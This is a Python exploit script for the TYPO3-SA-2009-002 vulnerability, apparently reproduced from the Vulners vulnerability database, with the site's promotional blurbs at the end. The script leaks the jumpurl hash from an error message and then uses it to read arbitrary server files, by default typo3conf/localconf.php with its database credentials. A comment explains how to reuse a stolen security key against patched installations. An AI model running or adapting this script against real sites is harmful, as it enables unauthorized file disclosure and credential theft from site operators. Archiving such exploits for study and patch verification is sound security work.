#!/usr/bin/env python
#
# ------------------------------------------------------------------------------
# TYPO3-SA-2009-002 exploit by Lolek of TK53 <[email protected]>
# date: 2009/02/10
# vendor url: http://typo3.org
# vulnerable versions: TYPO3 < 4.2.6, TYPO3 < 4.1.10, TYPO3 < 4.0.12
# usage:
# typo3-sa-2009-002.py <host> <file> (defaults to typo3conf/localconf.php)
#
# if people fixed their installations but did not update the typo3 security key
# you should be able to precompute the hashes if you previously got the security key.
#
# greetings to milw0rm, roflek
import urllib,re,sys
strip = re.compile(r'.*Calculated juHash, ([a-z0-9]+), did not.*')
def useme():
print sys.argv[0], '<host> (with http://) <file> (defaults to typo3conf/localconf.php)'
sys.exit(0)
def parsehash(host, f):
file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:'})
url = host + '/index.php?' + file
try:
s = urllib.urlopen(url)
r = s.read()
except Exception, e:
print '[!] - ', str(e)
return None
tmp = strip.match(r)
if tmp:
return tmp.group(1)
else:
return None
def content(host, hash, f):
file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:', 'juHash' : hash})
url = host + '/index.php?' + file
try:
s = urllib.urlopen(url)
print '[+] - content of:', f
print s.read()
except:
print '[!] - FAIL'
def main():
if len(sys.argv) < 2:
useme()
if len(sys.argv) < 3:
file = 'typo3conf/localconf.php'
else:
file = sys.argv[2]
print '[+] - TYPO3-SA-2009-002 exploit by Lolek of TK53'
print '[+] - checking typo3 installation on...'
hash = parsehash(sys.argv[1], file)
if not hash:
print '[!] - version already fixed or 42 went wrong while trying to get the hash'
sys.exit(234)
content(sys.argv[1], hash, file)
if __name__ == '__main__':
main()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation